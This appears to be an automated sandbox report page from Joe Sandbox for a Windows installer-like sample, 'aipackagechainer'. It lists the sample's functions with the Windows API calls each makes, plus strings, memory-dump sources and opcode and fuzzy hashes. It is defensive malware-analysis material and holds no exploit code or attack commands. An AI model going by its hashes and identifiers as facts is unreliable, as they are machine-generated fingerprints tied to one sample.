                                                                                                                                                                                                                                                  Function 00261680 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 197libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,?,FFFFFFFF,?), ref: 002616AD
                                                                                                                                                                                                                                                  • GetProcessAffinityMask.KERNEL32(00000000), ref: 002616B4
                                                                                                                                                                                                                                                  • GetSystemInfo.KERNEL32(?), ref: 00261735
                                                                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32 ref: 00261784
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 0026178B
                                                                                                                                                                                                                                                  • GlobalMemoryStatus.KERNEL32(?), ref: 002617DB
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Process$AddressAffinityCurrentGlobalHandleInfoMaskMemoryModuleProcStatusSystem
                                                                                                                                                                                                                                                  • String ID: $@$GlobalMemoryStatusEx$kernel32.dll
                                                                                                                                                                                                                                                  • API String ID: 3120231856-802862622
                                                                                                                                                                                                                                                  • Opcode ID: 1a4f4c3dc3b416638edec43fba4fcfe538232f82c8732152c0ed7d78f74fb0d3
                                                                                                                                                                                                                                                  • Instruction ID: 6dccb135fc5df4010819c1fdcf1acfd57eca5eee256c094c4245497a4d7b38af
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1a4f4c3dc3b416638edec43fba4fcfe538232f82c8732152c0ed7d78f74fb0d3
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 31718BB2A083018FD708CF19D88475AFBE6BBC8714F09892DE859C7340DBB4D854CB82
                                                                                                                                                                                                                                                  Function 00230620 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 153libraryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000060,4938EAB5,8007000E,00000000,?,?,?,?,?,?,?,?,002A1335,000000FF), ref: 002306A2
                                                                                                                                                                                                                                                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000002,?,?,?,?,?,?,?,?,002A1335,000000FF), ref: 002306B1
                                                                                                                                                                                                                                                  • FindResourceW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,002A1335,000000FF), ref: 002306CF
                                                                                                                                                                                                                                                  • LoadResource.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,002A1335,000000FF), ref: 002306E7
                                                                                                                                                                                                                                                    • Part of subcall function 0022E8F0: GetLastError.KERNEL32(4938EAB5,00000000,0029B9F0,000000FF,?,8007000E), ref: 0022E912
                                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,002A1335,000000FF), ref: 002307CA
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: LibraryLoad$Resource$ErrorFindFreeLast
                                                                                                                                                                                                                                                  • String ID: Module$Module_Raw$REGISTRY
                                                                                                                                                                                                                                                  • API String ID: 328770362-549000027
                                                                                                                                                                                                                                                  • Opcode ID: 42cb0519b508f13c5d4026f9a957d6bf6d7d633d26790569e01f518ea7dbca2e
                                                                                                                                                                                                                                                  • Instruction ID: 26a1aaa88402006bfe9e1984867e347a9691bc778a9cc49d1791e1977326f5b4
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 42cb0519b508f13c5d4026f9a957d6bf6d7d633d26790569e01f518ea7dbca2e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9A51C3B0921249EFDF20DF54D895BEEBBB4FF44710F108129E905A7290DB74AA218FB5
                                                                                                                                                                                                                                                  Function 002629E0 Relevance: 16.4, APIs: 6, Strings: 3, Instructions: 697fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,00000000,?), ref: 00262DB4
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00262DC6
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00262DD0
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(FFFFFFFF), ref: 00262E10
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CloseHandle$CreateErrorFileLast
                                                                                                                                                                                                                                                  • String ID: $$NUMBER_OF_PROCESSORS$\
                                                                                                                                                                                                                                                  • API String ID: 3884794734-458196154
                                                                                                                                                                                                                                                  • Opcode ID: dc38e8b54a824c302f978f1a7546175f9b59c3335a9c6c5c1a5ad3b209d737ab
                                                                                                                                                                                                                                                  • Instruction ID: 1f1961cd71ea03e559c56b7513242c475b1be540ea456ee564b1d1a429026b7e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: dc38e8b54a824c302f978f1a7546175f9b59c3335a9c6c5c1a5ad3b209d737ab
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E0724470910269DBDB21DF24CC44B9DBBF1BF09304F2482E9E489A7291DB75AE94DF90
                                                                                                                                                                                                                                                  Function 002533F0 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 411COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 0025357D
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 002535A5
                                                                                                                                                                                                                                                  • GetLogicalDriveStringsW.KERNEL32(00000064,?), ref: 002535FE
                                                                                                                                                                                                                                                  • GetDriveTypeW.KERNEL32(?), ref: 0025361A
                                                                                                                                                                                                                                                  • Wow64DisableWow64FsRedirection.KERNEL32(00000000,00000000), ref: 002536A1
                                                                                                                                                                                                                                                  • Wow64RevertWow64FsRedirection.KERNEL32(00000000,00000000), ref: 00253901
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Wow64$DriveRedirection_wcsrchr$DisableHeapLogicalProcessRevertStringsType
                                                                                                                                                                                                                                                  • String ID: !$N+$]%!
                                                                                                                                                                                                                                                  • API String ID: 1737443197-3236540078
                                                                                                                                                                                                                                                  • Opcode ID: 743b83c304495214106eeb590292ae700f747ec2648a13bc96c9cd1def115f2d
                                                                                                                                                                                                                                                  • Instruction ID: 3ddf4e0afc264ff1deb15b4fab3667c74a512401e913cfeae3a400610ccf1ea2
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 743b83c304495214106eeb590292ae700f747ec2648a13bc96c9cd1def115f2d
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EEF1E37191015ADBDB24DF68C848BEDF7F4AF04351F1486E8E81AA7291DB709E98CF90
                                                                                                                                                                                                                                                  Function 0021BD60 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 156windowshutdownCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetForegroundWindow.USER32(4938EAB5,?,?,?), ref: 0021BDC2
                                                                                                                                                                                                                                                  • MessageBoxW.USER32(00000000,?,?,00000044), ref: 0021BDCD
                                                                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32 ref: 0021BE81
                                                                                                                                                                                                                                                  • OpenProcessToken.ADVAPI32(00000000,00000028,00000000), ref: 0021BE8E
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0021BEAE
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0021BEF3
                                                                                                                                                                                                                                                  • ExitWindowsEx.USER32(00000006,80040002), ref: 0021BF04
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0021BF24
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CloseHandleProcess$CurrentErrorExitForegroundLastMessageOpenTokenWindowWindows
                                                                                                                                                                                                                                                  • String ID: SeShutdownPrivilege
                                                                                                                                                                                                                                                  • API String ID: 1440564136-3733053543
                                                                                                                                                                                                                                                  • Opcode ID: 2f1f29021b5b8279064fe165f6a14ded1c8258a0cdf69474dbcf5afd5a5746e5
                                                                                                                                                                                                                                                  • Instruction ID: e1c730f7e0f91d6a23cc5a436ab0c4bcb9df942e109a700c5932bc3201828633
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2f1f29021b5b8279064fe165f6a14ded1c8258a0cdf69474dbcf5afd5a5746e5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1E516E709012099BDB10DFA8C988BDEFBF4EF19720F248259E815AB2D1DB759D45CFA0
                                                                                                                                                                                                                                                  Function 0023B760 Relevance: 14.6, APIs: 7, Strings: 1, Instructions: 556COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0027C537: EnterCriticalSection.KERNEL32(002D7FD4,?,00000000,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5,?,00000000), ref: 0027C542
                                                                                                                                                                                                                                                    • Part of subcall function 0027C537: LeaveCriticalSection.KERNEL32(002D7FD4,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5,?,00000000), ref: 0027C57F
                                                                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5,?,?,?), ref: 0023BB3A
                                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?), ref: 0023BB41
                                                                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5,0000000C,?,?), ref: 0023BB55
                                                                                                                                                                                                                                                  • SetConsoleTextAttribute.KERNEL32(00000000,?,?), ref: 0023BB5C
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ConsoleCriticalHandleSection$AttributeBufferEnterInfoLeaveScreenText
                                                                                                                                                                                                                                                  • String ID: Error
                                                                                                                                                                                                                                                  • API String ID: 2673574109-2619118453
                                                                                                                                                                                                                                                  • Opcode ID: 66157b572b0482d35b91b901c67427a6ae879f20a4bb54cc1853e080fb84b259
                                                                                                                                                                                                                                                  • Instruction ID: 9183a7f8865474cbf4f0d0f227cae9f9bbaf2e9028dd1b09a10307e0b664172b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 66157b572b0482d35b91b901c67427a6ae879f20a4bb54cc1853e080fb84b259
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1C42DDB0D1021ACFDB24CF68CC48BEDBBB1BF54314F208299E518A7691EB745A95CF90
                                                                                                                                                                                                                                                  Function 0023B650 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 459COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5,?,?,?), ref: 0023BB3A
                                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?), ref: 0023BB41
                                                                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5,0000000C,?,?), ref: 0023BB55
                                                                                                                                                                                                                                                  • SetConsoleTextAttribute.KERNEL32(00000000,?,?), ref: 0023BB5C
                                                                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5,?,?,00000000,?,00000000,002BC468,00000002,?,?), ref: 0023BBEB
                                                                                                                                                                                                                                                  • SetConsoleTextAttribute.KERNEL32(00000000,?,?), ref: 0023BBF2
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  • *** Stack Trace (x86) ***, xrefs: 0023B6A5
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ConsoleHandle$AttributeText$BufferInfoScreen
                                                                                                                                                                                                                                                  • String ID: *** Stack Trace (x86) ***
                                                                                                                                                                                                                                                  • API String ID: 575076100-1035257212
                                                                                                                                                                                                                                                  • Opcode ID: 2c038b1b383ff7140d2153f1da1caceb2fdbdfa3c14b47c9b19a0caa9f26869c
                                                                                                                                                                                                                                                  • Instruction ID: 8657b5f6e3a18aa6146e0827260b5861a7245c219de9ec08ce4ed64d332d89db
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2c038b1b383ff7140d2153f1da1caceb2fdbdfa3c14b47c9b19a0caa9f26869c
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2612CEB0D10209DBDB24CFA8DC49BEDBBB5FF59314F20826AE415A7690DB746A90CF50
                                                                                                                                                                                                                                                  Function 00255E50 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(?,00000000,?,?,4938EAB5,?,00000000,00000000), ref: 00255F52
                                                                                                                                                                                                                                                  • FindNextFileW.KERNEL32(?,00000000,?,00000000,00000000), ref: 00255F6D
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: FileFind$FirstNext
                                                                                                                                                                                                                                                  • String ID: !
                                                                                                                                                                                                                                                  • API String ID: 1690352074-518105870
                                                                                                                                                                                                                                                  • Opcode ID: cb762cfaa04eab02f8737b604912ce448e77c5a174244a0da1d4a425bd4d463a
                                                                                                                                                                                                                                                  • Instruction ID: 90cd0731702197aa2afd7c7a0d97b6805a72496693d6d3fe115e66ab2bdfaf8c
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cb762cfaa04eab02f8737b604912ce448e77c5a174244a0da1d4a425bd4d463a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B781AD71910249DFDF20DFA8C848AEEBBF8FF09315F548169E805AB291DB749E18CB50
                                                                                                                                                                                                                                                  Function 0023CA10 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 253fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,4938EAB5,00000000,00000000,?), ref: 0023CA65
                                                                                                                                                                                                                                                  • GetTempFileNameW.KERNEL32(00000000,shim_clone,00000000,?,?), ref: 0023CB2C
                                                                                                                                                                                                                                                  • Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 0023CBD4
                                                                                                                                                                                                                                                  • CopyFileW.KERNEL32(?,?,00000000), ref: 0023CBF6
                                                                                                                                                                                                                                                  • Wow64RevertWow64FsRedirection.KERNEL32(?), ref: 0023CC7A
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Wow64$FileRedirection$CopyDisableFolderNamePathRevertTemp
                                                                                                                                                                                                                                                  • String ID: shim_clone
                                                                                                                                                                                                                                                  • API String ID: 1788126375-3944563459
                                                                                                                                                                                                                                                  • Opcode ID: e30cdcff818ab18c454f0a49782c417c5ffc92f5beed855694c98662c621f116
                                                                                                                                                                                                                                                  • Instruction ID: ac136a7f72012e21dce5136d4c66f8b6bdde165abb0a35501540e33a7cb75b3e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e30cdcff818ab18c454f0a49782c417c5ffc92f5beed855694c98662c621f116
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7891F4B4A1025A8BDF28DF34CC457A9B7F5EF14300F2484AEE44AE7291EB349E95CB54
                                                                                                                                                                                                                                                  Function 00298099 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: __floor_pentium4
                                                                                                                                                                                                                                                  • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                                                                                                                                                  • API String ID: 4168288129-2761157908
                                                                                                                                                                                                                                                  • Opcode ID: 698150da14f4fba15ae7123e1ef5c32fcb8f093695042f9fdac8e2b125b84a56
                                                                                                                                                                                                                                                  • Instruction ID: 46ad664833e778c8bdfc95124ee57d1e33e61d22631f9c378f35b8be88de80d4
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 698150da14f4fba15ae7123e1ef5c32fcb8f093695042f9fdac8e2b125b84a56
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 46D23971E282298FDF25CE28CD407EAB7B5EB45314F1841EAD80DE7240EB74AE958F41
                                                                                                                                                                                                                                                  Function 0027A0EE Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • IsProcessorFeaturePresent.KERNEL32(0000000C,0027A00A,00000000,?,0027A1A2), ref: 0027A0F0
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(00000008,00000008,00000000,00000000,?,0027A1A2), ref: 0027A117
                                                                                                                                                                                                                                                  • HeapAlloc.KERNEL32(00000000,?,0027A1A2), ref: 0027A11E
                                                                                                                                                                                                                                                  • InitializeSListHead.KERNEL32(00000000,?,0027A1A2), ref: 0027A12B
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(00000000,00000000,?,0027A1A2), ref: 0027A140
                                                                                                                                                                                                                                                  • HeapFree.KERNEL32(00000000,?,0027A1A2), ref: 0027A147
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1475849761-0
                                                                                                                                                                                                                                                  • Opcode ID: 02f32ba9e31dbee928954ca82eb2bbca8f165b34041c77430fb149f0cc305363
                                                                                                                                                                                                                                                  • Instruction ID: 7c92be259d38db423b8924f61f1071fc5d5390ef7745433c66b11874486683e8
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 02f32ba9e31dbee928954ca82eb2bbca8f165b34041c77430fb149f0cc305363
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1AF04435611612DBEF105F7DBC0DB1677A8BB85B11F164429F999D3250EE748802CB51
                                                                                                                                                                                                                                                  Function 002545C0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 211COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
